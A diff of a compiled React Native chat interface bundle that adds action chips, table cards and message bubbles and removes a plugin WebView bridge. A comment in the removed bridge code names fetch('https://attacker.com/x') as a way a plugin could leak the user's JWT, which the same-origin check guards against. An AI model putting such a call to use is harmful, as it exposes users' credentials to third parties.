937
+ if (!id) return;
938
+ const focus = a.payload?.id || a.payload?.entity_id || a.payload?.focusId;
939
+ const surface = import_plugin_runtime5.useSurfaceStore.getState().manifests[id];
940
+ if (surface) {
941
+ import_plugin_runtime5.useSurfaceStore.getState().show(id, focus ? { focus } : void 0);
942
+ return;
1056
943
  }
1057
- setRefreshing(false);
1058
- }, [loadConversation]);
1059
- const renderItem = (0, import_react4.useCallback)(({ item, index }) => {
1060
- const older = useInverted ? listData[index + 1] : listData[index - 1];
1061
- const showDaySep = !older || !isSameDay2(older.timestamp, item.timestamp);
1062
- return /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_react_native8.View, { children: [
1063
- showDaySep && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(DaySeparator, { date: item.timestamp }),
1064
- /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(MessageBubble, { message: item })
1065
- ] });
1066
- }, [listData, useInverted]);
1067
- const typingIndicator = loading && !(useInverted ? listData[0] : listData[listData.length - 1])?.jobProgress ? /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(TypingIndicator, {}) : null;
1068
- return /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(
1069
- import_react_native8.KeyboardAvoidingView,
1070
- {
1071
- style: styles8.root,
1072
- behavior: import_react_native8.Platform.OS === "ios" ? "padding" : void 0,
1073
- children: [
1074
- /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
1075
- import_react_native8.FlatList,
1076
- {
1077
- ref: listRef,
1078
- style: styles8.list,
1079
- data: listData,
1080
- inverted: useInverted,
1081
- keyExtractor: (m) => m.id,
1082
- renderItem,
1083
- ListHeaderComponent: useInverted ? typingIndicator : null,
1084
- ListFooterComponent: useInverted ? null : typingIndicator,
1085
- onContentSizeChange: useInverted ? void 0 : () => scrollToLatest(false),
1086
- refreshControl: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native8.RefreshControl, { refreshing, onRefresh: handleRefresh, tintColor: import_core7.ada.orange }),
1087
- keyboardShouldPersistTaps: "handled",
1088
- contentContainerStyle: styles8.listContent
1089
- }
1090
- ),
1091
- footerAccessory,
1092
- /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
1093
- ChatInput,
1094
- {
1095
- onSend: handleSend,
1096
- onCallStart,
1097
- loading,
1098
- prefill,
1099
- placeholder
1100
- }
1101
- ),
1102
- withLightbox && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(Lightbox, {})
1103
- ]
944
+ const params = {};
945
+ if (focus) params.focus = String(focus);
946
+ if (a.intent === "suggested_action" && a.payload?.tool) {
947
+ params.tool = String(a.payload.tool);
948
+ if (a.payload?.args) {
949
+ try {
950
+ params.args = JSON.stringify(a.payload.args);
951
+ } catch {
952
+ }
953
+ }
1104
954
  }
1105
- );
955
+ if (a.intent === "quick_toggle" && a.payload?.verb) {
956
+ params.verb = String(a.payload.verb);
957
+ }
958
+ const navigate = getUIActionNavigator();
959
+ if (navigate) {
960
+ navigate({ pluginId: id, params });
961
+ return;
962
+ }
963
+ openWidget(id, Object.keys(params).length ? params : void 0);
964
+ };
965
+ return /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native5.View, { style: styles4.row, children: actions.map((a, i) => {
966
+ const icon = a.icon ? ICON_MAP[a.icon.toLowerCase()] : null;
967
+ return /* @__PURE__ */ (0, import_jsx_runtime6.jsxs)(
968
+ import_react_native5.Pressable,
969
+ {
970
+ accessibilityRole: "button",
971
+ accessibilityLabel: a.description || a.label,
972
+ onPress: () => handlePress(a),
973
+ style: ({ pressed }) => [styles4.chip, pressed && styles4.chipPressed],
974
+ children: [
975
+ icon ? /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native5.Text, { style: styles4.icon, children: icon }) : null,
976
+ /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_react_native5.Text, { style: styles4.label, numberOfLines: 1, children: a.label })
977
+ ]
978
+ },
979
+ `${a.target || "a"}-${i}`
980
+ );
981
+ }) });
1106
982
  }
1107
- var styles8 = import_react_native8.StyleSheet.create({
1108
- root: {
1109
- flex: 1,
1110
- backgroundColor: import_core7.ada.paper
983
+ var styles4 = import_react_native5.StyleSheet.create({
984
+ row: {
985
+ flexDirection: "row",
986
+ flexWrap: "wrap",
987
+ gap: 6,
988
+ marginTop: 10
1111
989
  },
1112
- list: {
1113
- flex: 1
990
+ chip: {
991
+ flexDirection: "row",
992
+ alignItems: "center",
993
+ gap: 6,
994
+ paddingHorizontal: 12,
995
+ paddingVertical: 6,
996
+ backgroundColor: import_core7.ada.orangeSoft,
997
+ borderColor: import_core7.ada.orange,
998
+ borderWidth: 1,
999
+ borderRadius: 14
1114
1000
  },
1115
- listContent: {
1116
- paddingVertical: 12
1001
+ chipPressed: {
1002
+ backgroundColor: import_core7.ada.orange
1003
+ },
1004
+ icon: {
1005
+ fontSize: 12,
1006
+ lineHeight: 14
1007
+ },
1008
+ label: {
1009
+ color: import_core7.ada.orangeDeep,
1010
+ fontSize: import_core7.fontSize.xs,
1011
+ fontWeight: "600",
1012
+ fontFamily: fontFam
1117
1013
  }
1118
1014
  });
1119
1015
 
1120
- // src/plugin/Plugin.tsx
1121
- var import_react7 = __toESM(require("react"));
1122
- var import_react_native10 = require("react-native");
1123
- var import_core10 = require("@ateam-ai-mobile/core");
1124
- var import_plugin_runtime6 = require("@ateam-ai-mobile/plugin-runtime");
1016
+ // src/chat/TableCardBlock.tsx
1017
+ var import_react_native6 = require("react-native");
1018
+ var import_core8 = require("@ateam-ai-mobile/core");
1019
+ var import_jsx_runtime7 = require("react/jsx-runtime");
1020
+ var fontFam2 = import_react_native6.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
1021
+ function TableCardBlock({ columns, rows }) {
1022
+ if (!columns?.length || !rows?.length) return null;
1023
+ const [titleCol, ...detailCols] = columns;
1024
+ return /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native6.View, { style: styles5.wrap, children: rows.map((row, i) => {
1025
+ const cells = Array.isArray(row) ? row : [row];
1026
+ const title = cells[0];
1027
+ return /* @__PURE__ */ (0, import_jsx_runtime7.jsxs)(import_react_native6.View, { style: styles5.card, children: [
1028
+ /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native6.Text, { style: styles5.title, children: String(title ?? "") }),
1029
+ detailCols.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native6.View, { style: styles5.details, children: detailCols.map((col, ci) => {
1030
+ const value = cells[ci + 1];
1031
+ if (value == null || value === "") return null;
1032
+ return /* @__PURE__ */ (0, import_jsx_runtime7.jsxs)(import_react_native6.View, { style: styles5.row, children: [
1033
+ /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native6.Text, { style: styles5.label, children: String(col) }),
1034
+ /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_react_native6.Text, { style: styles5.value, children: String(value) })
1035
+ ] }, ci);
1036
+ }) })
1037
+ ] }, i);
1038
+ }) });
1039
+ }
1040
+ var styles5 = import_react_native6.StyleSheet.create({
1041
+ wrap: {
1042
+ marginVertical: 6,
1043
+ gap: 8
1044
+ },
1045
+ card: {
1046
+ backgroundColor: import_core8.ada.paper,
1047
+ borderRadius: import_core8.borderRadius.md,
1048
+ borderWidth: 1,
1049
+ borderColor: import_core8.ada.border,
1050
+ padding: import_core8.spacing.md
1051
+ },
1052
+ title: {
1053
+ color: import_core8.ada.ink,
1054
+ fontSize: import_core8.fontSize.md,
1055
+ fontWeight: "600",
1056
+ fontFamily: fontFam2,
1057
+ letterSpacing: -0.2,
1058
+ marginBottom: 6
1059
+ },
1060
+ details: {
1061
+ gap: 4
1062
+ },
1063
+ row: {
1064
+ flexDirection: "row",
1065
+ alignItems: "flex-start",
1066
+ gap: 8
1067
+ },
1068
+ label: {
1069
+ color: import_core8.ada.inkMuted,
1070
+ fontSize: import_core8.fontSize.xs,
1071
+ fontFamily: fontFam2,
1072
+ fontWeight: "500",
1073
+ width: 84,
1074
+ textTransform: "uppercase",
1075
+ letterSpacing: 0.6,
1076
+ paddingTop: 2
1077
+ },
1078
+ value: {
1079
+ flex: 1,
1080
+ color: import_core8.ada.inkSoft,
1081
+ fontSize: import_core8.fontSize.sm,
1082
+ fontFamily: fontFam2,
1083
+ lineHeight: 18
1084
+ }
1085
+ });
1125
1086
 
1126
- // src/plugin/EmbeddedPluginWebView.tsx
1127
- var import_react6 = require("react");
1128
- var import_react_native9 = require("react-native");
1129
- var import_react_native_webview = require("react-native-webview");
1130
- var import_core9 = require("@ateam-ai-mobile/core");
1131
- var import_plugin_runtime5 = require("@ateam-ai-mobile/plugin-runtime");
1087
+ // src/stores/lightboxStore.ts
1088
+ var import_zustand2 = require("zustand");
1089
+ var useLightboxStore = (0, import_zustand2.create)((set) => ({
1090
+ uri: null,
1091
+ show: (uri) => set({ uri }),
1092
+ hide: () => set({ uri: null })
1093
+ }));
1132
1094
 
1133
- // src/plugin/usePluginBridge.ts
1134
- var import_react5 = require("react");
1135
- var import_core8 = require("@ateam-ai-mobile/core");
1136
- function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
1137
- const webViewRef = (0, import_react5.useRef)(null);
1138
- const sendInit = (0, import_react5.useCallback)(() => {
1139
- const msg = JSON.stringify({
1140
- source: "adas-host",
1141
- pluginId,
1142
- message: {
1143
- type: "init",
1144
- payload: {
1145
- tenant: (0, import_core8.getTenant)(),
1146
- connectorId: connectorId || null,
1147
- mcpEndpoint: null,
1148
- slug: null,
1149
- skillSlug: null
1150
- }
1151
- }
1152
- });
1153
- webViewRef.current?.postMessage(msg);
1154
- }, [pluginId, connectorId]);
1155
- const sendToPlugin = (0, import_react5.useCallback)(
1156
- (type, payload) => {
1157
- const msg = JSON.stringify({
1158
- source: "adas-host",
1159
- message: { type, payload }
1160
- });
1161
- webViewRef.current?.postMessage(msg);
1162
- },
1163
- []
1164
- );
1165
- const dispatchToWebView = (0, import_react5.useCallback)((cmd) => {
1166
- if (cmd.command === "__focus") return;
1167
- const msg = JSON.stringify({
1168
- source: "adas-host",
1169
- pluginId,
1170
- message: {
1171
- type: "plugin.command",
1172
- payload: {
1173
- command: cmd.command,
1174
- args: cmd.args,
1175
- correlationId: cmd.correlationId
1176
- }
1177
- }
1178
- });
1179
- webViewRef.current?.postMessage(msg);
1180
- }, [pluginId]);
1181
- (0, import_react5.useEffect)(() => {
1182
- const unsub = import_core8.pluginCommandEmitter.on("plugin-command", (cmd) => {
1183
- if (cmd.pluginId !== pluginId) return;
1184
- dispatchToWebView(cmd);
1185
- });
1186
- return unsub;
1187
- }, [pluginId, dispatchToWebView]);
1188
- (0, import_react5.useEffect)(() => {
1189
- if (!commandBufferRef) return;
1190
- const timer = setTimeout(() => {
1191
- const buf = commandBufferRef.current;
1192
- const remaining = [];
1193
- for (const cmd of buf) {
1194
- if (cmd.pluginId === pluginId) {
1195
- dispatchToWebView(cmd);
1196
- } else {
1197
- remaining.push(cmd);
1198
- }
1199
- }
1200
- commandBufferRef.current = remaining;
1201
- }, 1e3);
1202
- return () => clearTimeout(timer);
1203
- }, [pluginId, commandBufferRef, dispatchToWebView]);
1204
- const handleMessage = (0, import_react5.useCallback)(
1205
- async (event) => {
1206
- let data;
1207
- try {
1208
- data = JSON.parse(event.nativeEvent.data);
1209
- } catch {
1210
- return;
1211
- }
1212
- if (data.source !== "adas-plugin") return;
1213
- const action = data.message?.action || data.action;
1214
- const payload = data.message?.payload || data.payload;
1215
- const type = data.message?.type || data.type;
1216
- if (action === "mcp-fetch" && payload?.requestId) {
1217
- const { requestId, body } = payload;
1218
- try {
1219
- const result = await (0, import_core8.mcpFetch)(body);
1220
- sendToPlugin("mcp-fetch-result", { requestId, result, error: null });
1221
- } catch (err) {
1222
- console.warn("[PluginBridge] mcp-fetch ERROR:", err.message);
1223
- sendToPlugin("mcp-fetch-result", { requestId, result: null, error: err.message });
1224
- }
1225
- return;
1226
- }
1227
- if (action === "mcp-call" && payload?.requestId) {
1228
- const { requestId, toolName, args: callArgs } = payload;
1229
- if (toolName) {
1230
- try {
1231
- const rpcResponse = await (0, import_core8.mcpToolCall)(toolName, callArgs || {});
1232
- const result = rpcResponse?.result ?? rpcResponse;
1233
- sendToPlugin("mcp-result", { requestId, result, error: null });
1234
- } catch (err) {
1235
- sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
1236
- }
1237
- return;
1238
- }
1239
- const cId = payload.connectorId || callArgs?.connectorId || callArgs?.params?.connectorId;
1240
- const tool = payload.tool || callArgs?.tool || callArgs?.params?.tool;
1241
- const toolArgs = payload.args || callArgs?.args || callArgs?.params?.args || {};
1242
- if (!cId || !tool) {
1243
- console.error(`[PluginBridge] mcp-call missing params \u2014 connectorId: ${cId}, tool: ${tool}`);
1244
- sendToPlugin("mcp-result", { requestId, result: null, error: `Missing connectorId or tool in mcp-call. Got connectorId=${cId}, tool=${tool}` });
1245
- return;
1246
- }
1247
- try {
1248
- const data2 = await (0, import_core8.connectorCall)(cId, tool, toolArgs);
1249
- if (data2.ok) {
1250
- sendToPlugin("mcp-result", { requestId, result: data2.result, error: null });
1251
- } else {
1252
- sendToPlugin("mcp-result", { requestId, result: null, error: data2.error || "MCP call failed" });
1253
- }
1254
- } catch (err) {
1255
- sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
1256
- }
1257
- return;
1258
- }
1259
- if (action === "close") {
1260
- import_core8.pluginCommandEmitter.emit("plugin-close", { pluginId });
1261
- return;
1095
+ // src/chat/MessageBubble.tsx
1096
+ var import_jsx_runtime8 = require("react/jsx-runtime");
1097
+ var fontFam3 = import_react_native7.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
1098
+ function formatTime(date) {
1099
+ const h = date.getHours();
1100
+ const m = date.getMinutes().toString().padStart(2, "0");
1101
+ return `${h}:${m}`;
1102
+ }
1103
+ function DaySeparator({ date }) {
1104
+ const today = /* @__PURE__ */ new Date();
1105
+ const yesterday = new Date(today);
1106
+ yesterday.setDate(yesterday.getDate() - 1);
1107
+ let label;
1108
+ if (isSameDay(date, today)) {
1109
+ label = "Today";
1110
+ } else if (isSameDay(date, yesterday)) {
1111
+ label = "Yesterday";
1112
+ } else {
1113
+ label = date.toLocaleDateString(void 0, { weekday: "long", month: "short", day: "numeric" });
1114
+ }
1115
+ return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: separatorStyles.container, children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: separatorStyles.pill, children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: separatorStyles.text, children: label }) }) });
1116
+ }
1117
+ function isSameDay(a, b) {
1118
+ return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
1119
+ }
1120
+ var separatorStyles = import_react_native7.StyleSheet.create({
1121
+ container: {
1122
+ alignItems: "center",
1123
+ marginVertical: 14
1124
+ },
1125
+ pill: {
1126
+ backgroundColor: import_core9.ada.paperSoft,
1127
+ paddingHorizontal: 14,
1128
+ paddingVertical: 5,
1129
+ borderRadius: 999
1130
+ },
1131
+ text: {
1132
+ fontSize: 12,
1133
+ fontWeight: "600",
1134
+ color: import_core9.ada.inkMuted,
1135
+ letterSpacing: 0.4,
1136
+ fontFamily: fontFam3
1137
+ }
1138
+ });
1139
+ function MessageBubble({ message }) {
1140
+ const isUser = message.role === "user";
1141
+ const isSystem = message.role === "system";
1142
+ const isNotification = !isUser && message.kind === "notification";
1143
+ const [copied, setCopied] = (0, import_react7.useState)("");
1144
+ const showCopied = (0, import_react7.useCallback)((label) => {
1145
+ setCopied(label);
1146
+ (0, import_plugin_runtime6.getHaptics)()?.notification("success");
1147
+ setTimeout(() => setCopied(""), 1500);
1148
+ }, []);
1149
+ const copyText = (0, import_react7.useCallback)(async (text) => {
1150
+ const clipboard = getClipboard();
1151
+ if (!clipboard) return;
1152
+ await clipboard.setString(text);
1153
+ showCopied("Copied!");
1154
+ }, [showCopied]);
1155
+ const handleLongPress = (0, import_react7.useCallback)(() => {
1156
+ copyText(message.content);
1157
+ }, [message.content, copyText]);
1158
+ return /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_react_native7.View, { style: [styles6.row, isUser && styles6.rowUser], children: [
1159
+ !isUser && !isNotification && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: styles6.avatarOrb, children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
1160
+ import_plugin_runtime6.AdaOrb,
1161
+ {
1162
+ size: 28,
1163
+ state: message.jobProgress?.status === "running" ? "thinking" : "idle"
1262
1164
  }
1263
- if (type === "plugin.command.result" && payload?.correlationId) {
1264
- const ws = wsRef?.current;
1265
- if (ws && ws.readyState === WebSocket.OPEN) {
1266
- try {
1267
- ws.send(JSON.stringify({
1268
- type: "plugin-command-result",
1269
- correlationId: payload.correlationId,
1270
- result: payload.result,
1271
- error: payload.error
1272
- }));
1273
- } catch (err) {
1274
- console.warn("[PluginBridge] WS send failed, falling back to POST:", err.message);
1275
- await (0, import_core8.postCommandResult)(payload.correlationId, payload.result, payload.error).catch(() => {
1276
- });
1277
- }
1278
- } else {
1279
- try {
1280
- await (0, import_core8.postCommandResult)(payload.correlationId, payload.result, payload.error);
1281
- } catch (err) {
1282
- console.warn("[PluginBridge] Failed to send command result:", err.message);
1283
- }
1284
- }
1285
- return;
1165
+ ) }),
1166
+ isNotification && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: styles6.notificationLeftStripe }),
1167
+ /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(
1168
+ import_react_native7.Pressable,
1169
+ {
1170
+ accessibilityRole: "text",
1171
+ accessibilityLabel: `${isUser ? "You" : isNotification ? "Notification" : "Ada"}: ${message.content}`,
1172
+ accessibilityHint: "Long-press to copy",
1173
+ onLongPress: handleLongPress,
1174
+ style: [
1175
+ styles6.bubble,
1176
+ isUser && styles6.bubbleUser,
1177
+ isSystem && styles6.bubbleSystem,
1178
+ isNotification && styles6.bubbleNotification
1179
+ ],
1180
+ children: [
1181
+ isNotification && /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_react_native7.View, { style: styles6.notificationHeader, children: [
1182
+ /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.notificationHeaderIcon, children: "\u{1F514}" }),
1183
+ /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.notificationHeaderText, children: "Notification" })
1184
+ ] }),
1185
+ message.attachments && message.attachments.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: styles6.attachments, children: message.attachments.map((att, i) => att.previewUri ? /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
1186
+ import_react_native7.Pressable,
1187
+ {
1188
+ accessibilityRole: "imagebutton",
1189
+ accessibilityLabel: `Photo${att.name ? `: ${att.name}` : ""}. Tap to enlarge.`,
1190
+ onPress: () => useLightboxStore.getState().show(att.previewUri),
1191
+ children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
1192
+ import_react_native7.Image,
1193
+ {
1194
+ source: {
1195
+ uri: att.previewUri,
1196
+ ...att.previewUri.startsWith("http") ? {
1197
+ headers: { Authorization: `Bearer ${(0, import_core9.getConfig)().tokenProvider.getToken()}` }
1198
+ } : {}
1199
+ },
1200
+ style: styles6.attachmentImage,
1201
+ resizeMode: "cover",
1202
+ onError: (e) => console.warn("[Image] Failed to load:", att.previewUri?.slice(0, 100), e.nativeEvent.error)
1203
+ }
1204
+ )
1205
+ },
1206
+ i
1207
+ ) : /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: styles6.attachmentFile, children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.attachmentFileName, numberOfLines: 1, children: att.name }) }, i)) }),
1208
+ isUser ? (
1209
+ // Hide the "See attachment" placeholder when the bubble already shows the photo.
1210
+ message.content && !(message.content === "See attachment" && message.attachments?.length) ? /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { selectable: true, style: styles6.userText, children: message.content }) : null
1211
+ ) : renderAssistantContent(message.content, copyText),
1212
+ !!copied && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: styles6.copiedBadge, children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.copiedText, children: copied }) }),
1213
+ message.toolCalls && message.toolCalls.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(ToolCallsBadge, { calls: message.toolCalls }),
1214
+ message.jobProgress && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(JobProgressBar, { progress: message.jobProgress }),
1215
+ !isUser && message.actions && message.actions.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(UIActionsRow, { actions: message.actions }),
1216
+ /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: [styles6.timeText, isUser && styles6.timeTextUser], children: formatTime(message.timestamp) })
1217
+ ]
1286
1218
  }
1287
- },
1288
- [sendToPlugin]
1289
- );
1290
- return {
1291
- webViewRef,
1292
- sendInit,
1293
- handleMessage
1294
- };
1219
+ ),
1220
+ isUser && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.View, { style: styles6.avatarSpacer })
1221
+ ] });
1295
1222
  }
1296
- function buildPluginBridgeJS(jwt, tenant) {
1297
- return `
1298
- (function() {
1299
- function _dbg(msg) {
1300
- console.log('[PluginBridge] ' + msg);
1223
+ function renderAssistantContent(content, copyText) {
1224
+ if (!content) return null;
1225
+ if (!content.includes(import_core9.TABLE_BLOCK_OPEN)) {
1226
+ return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(MarkdownBubble, { content, copyText });
1301
1227
  }
1302
-
1303
- // 1. Seed localStorage. JWT is required by web-shared plugin code
1304
- // (cpFeApi.ts etc. read localStorage.adas.jwt directly). Origin lockdown
1305
- // lives in EmbeddedPluginWebView (originWhitelist +
1306
- // onShouldStartLoadWithRequest) \u2014 not here. Never log the token.
1307
- try {
1308
- localStorage.setItem('adas.jwt', ${JSON.stringify(jwt)});
1309
- localStorage.setItem('adas.tenant', ${JSON.stringify(tenant)});
1310
- _dbg('localStorage seeded: jwt=' + (${JSON.stringify(jwt)} ? '[present]' : '[absent]') + ' tenant=' + ${JSON.stringify(tenant)});
1311
- } catch(e) { _dbg('localStorage ERROR: ' + e.message); }
1312
-
1313
- // 2. Intercept ALL fetch calls \u2014 proxy /mcp through the RN bridge
1314
- var _origFetch = window.fetch.bind(window);
1315
- var _mcpReqId = 0;
1316
- var _pendingMcp = {};
1317
-
1318
- window.fetch = function(url, opts) {
1319
- var urlStr = (typeof url === 'string') ? url : (url && url.url) || '';
1320
- var method = (opts && opts.method) || 'GET';
1321
-
1322
- _dbg('FETCH ' + method + ' ' + urlStr.substring(0, 80));
1323
-
1324
- // Intercept /mcp calls
1325
- if (urlStr === '/mcp' || urlStr.endsWith('/mcp')) {
1326
- _dbg(' -> INTERCEPTED /mcp, proxying via RN bridge');
1327
- return new Promise(function(resolve, reject) {
1328
- var requestId = 'mcp-f-' + (++_mcpReqId) + '-' + Date.now();
1329
- _pendingMcp[requestId] = { resolve: resolve, reject: reject };
1330
- window.ReactNativeWebView.postMessage(JSON.stringify({
1331
- source: 'adas-plugin',
1332
- action: 'mcp-fetch',
1333
- payload: { requestId: requestId, body: opts && opts.body ? opts.body : null }
1334
- }));
1335
- setTimeout(function() {
1336
- if (_pendingMcp[requestId]) {
1337
- delete _pendingMcp[requestId];
1338
- _dbg('TIMEOUT mcp-fetch ' + requestId);
1339
- reject(new Error('MCP fetch timeout (30s)'));
1340
- }
1341
- }, 30000);
1342
- });
1228
+ const segments = [];
1229
+ let cursor = 0;
1230
+ while (cursor < content.length) {
1231
+ const open = content.indexOf(import_core9.TABLE_BLOCK_OPEN, cursor);
1232
+ if (open === -1) {
1233
+ segments.push({ kind: "md", content: content.slice(cursor) });
1234
+ break;
1235
+ }
1236
+ if (open > cursor) {
1237
+ segments.push({ kind: "md", content: content.slice(cursor, open) });
1238
+ }
1239
+ const close = content.indexOf(import_core9.TABLE_BLOCK_CLOSE, open + import_core9.TABLE_BLOCK_OPEN.length);
1240
+ if (close === -1) {
1241
+ segments.push({ kind: "md", content: content.slice(open) });
1242
+ break;
1243
+ }
1244
+ const payload = content.slice(open + import_core9.TABLE_BLOCK_OPEN.length, close);
1245
+ segments.push({ kind: "table", content: payload });
1246
+ cursor = close + import_core9.TABLE_BLOCK_CLOSE.length;
1247
+ }
1248
+ return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_jsx_runtime8.Fragment, { children: segments.map((seg, i) => {
1249
+ if (seg.kind === "md") {
1250
+ const trimmed = seg.content.trim();
1251
+ if (!trimmed) return null;
1252
+ return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(MarkdownBubble, { content: seg.content, copyText }, i);
1343
1253
  }
1344
-
1345
- // Inject Authorization header ONLY for same-origin requests. A relative
1346
- // path resolves against window.location.origin; an absolute URL must
1347
- // literally match. This stops a plugin from leaking the JWT to a foreign
1348
- // host via fetch('https://attacker.com/x') or via <base href>.
1349
- var sameOrigin = false;
1350
1254
  try {
1351
- var resolved = new URL(urlStr, window.location.origin);
1352
- sameOrigin = (resolved.origin === window.location.origin);
1353
- } catch (_) { sameOrigin = false; }
1354
- if (sameOrigin) {
1355
- opts = Object.assign({}, opts || {});
1356
- var h = opts.headers;
1357
- if (h instanceof Headers) {
1358
- if (!h.has('Authorization')) { var jwt = localStorage.getItem('adas.jwt'); if (jwt) h.set('Authorization', 'Bearer ' + jwt); }
1359
- } else {
1360
- h = Object.assign({}, h || {});
1361
- if (!h['Authorization'] && !h['authorization']) { var jwt2 = localStorage.getItem('adas.jwt'); if (jwt2) h['Authorization'] = 'Bearer ' + jwt2; }
1362
- opts.headers = h;
1363
- }
1255
+ const data = JSON.parse(decodeURIComponent(seg.content));
1256
+ return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(TableCardBlock, { columns: data.columns, rows: data.rows }, i);
1257
+ } catch {
1258
+ return null;
1364
1259
  }
1365
-
1366
- return _origFetch(url, opts).then(function(res) {
1367
- _dbg(' <- ' + res.status + ' ' + urlStr.substring(0, 60));
1368
- return res;
1369
- }).catch(function(err) {
1370
- _dbg(' <- FETCH ERR: ' + err.message + ' ' + urlStr.substring(0, 40));
1371
- throw err;
1372
- });
1373
- };
1374
-
1375
- // Handle results from RN host
1376
- function _handleHostMessage(d) {
1377
- if (!d || d.source !== 'adas-host') return;
1378
- var msg = d.message || {};
1379
-
1380
- // mcp-fetch-result: response to intercepted fetch("/mcp")
1381
- if (msg.type === 'mcp-fetch-result' && msg.payload) {
1382
- var p = msg.payload;
1383
- var pending = _pendingMcp[p.requestId];
1384
- if (pending) {
1385
- delete _pendingMcp[p.requestId];
1386
- if (p.error) {
1387
- pending.reject(new Error(p.error));
1388
- } else {
1389
- pending.resolve(new Response(JSON.stringify(p.result), {
1390
- status: 200,
1391
- headers: { 'Content-Type': 'application/json' }
1392
- }));
1393
- }
1394
- }
1260
+ }) });
1261
+ }
1262
+ function MarkdownBubble({ content, copyText }) {
1263
+ return /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
1264
+ import_react_native_markdown_display.default,
1265
+ {
1266
+ style: markdownStyles,
1267
+ rules: {
1268
+ code_inline: (node) => /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
1269
+ import_react_native7.Text,
1270
+ {
1271
+ style: markdownStyles.code_inline,
1272
+ onPress: () => copyText(node.content),
1273
+ children: node.content
1274
+ },
1275
+ node.key
1276
+ ),
1277
+ fence: (node) => /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
1278
+ import_react_native7.Pressable,
1279
+ {
1280
+ onPress: () => copyText(node.content),
1281
+ style: markdownStyles.fence,
1282
+ children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: markdownStyles.fenceText, children: node.content })
1283
+ },
1284
+ node.key
1285
+ )
1286
+ },
1287
+ children: content
1395
1288
  }
1289
+ );
1290
+ }
1291
+ function ToolCallsBadge({ calls }) {
1292
+ const [expanded, setExpanded] = (0, import_react7.useState)(false);
1293
+ const label = calls.filter((c) => c.name === "send_message_to_skill").map((c) => c.args.skill_name || c.skill).filter(Boolean).join(", ") || "Tool call";
1294
+ return /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_react_native7.View, { style: styles6.toolCalls, children: [
1295
+ /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_react_native7.Pressable, { style: styles6.toolToggle, onPress: () => setExpanded(!expanded), children: [
1296
+ /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.toolLabel, children: label }),
1297
+ /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.toolChevron, children: expanded ? "\u25B2" : "\u25BC" })
1298
+ ] }),
1299
+ expanded && calls.map((tc, i) => /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_react_native7.View, { style: styles6.toolItem, children: [
1300
+ /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.toolName, children: tc.name }),
1301
+ tc.skill && /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_react_native7.Text, { style: styles6.toolSkill, children: tc.skill })
1302
+ ] }, i))
1303
+ ] });
1304
+ }
1305
+ var styles6 = import_react_native7.StyleSheet.create({
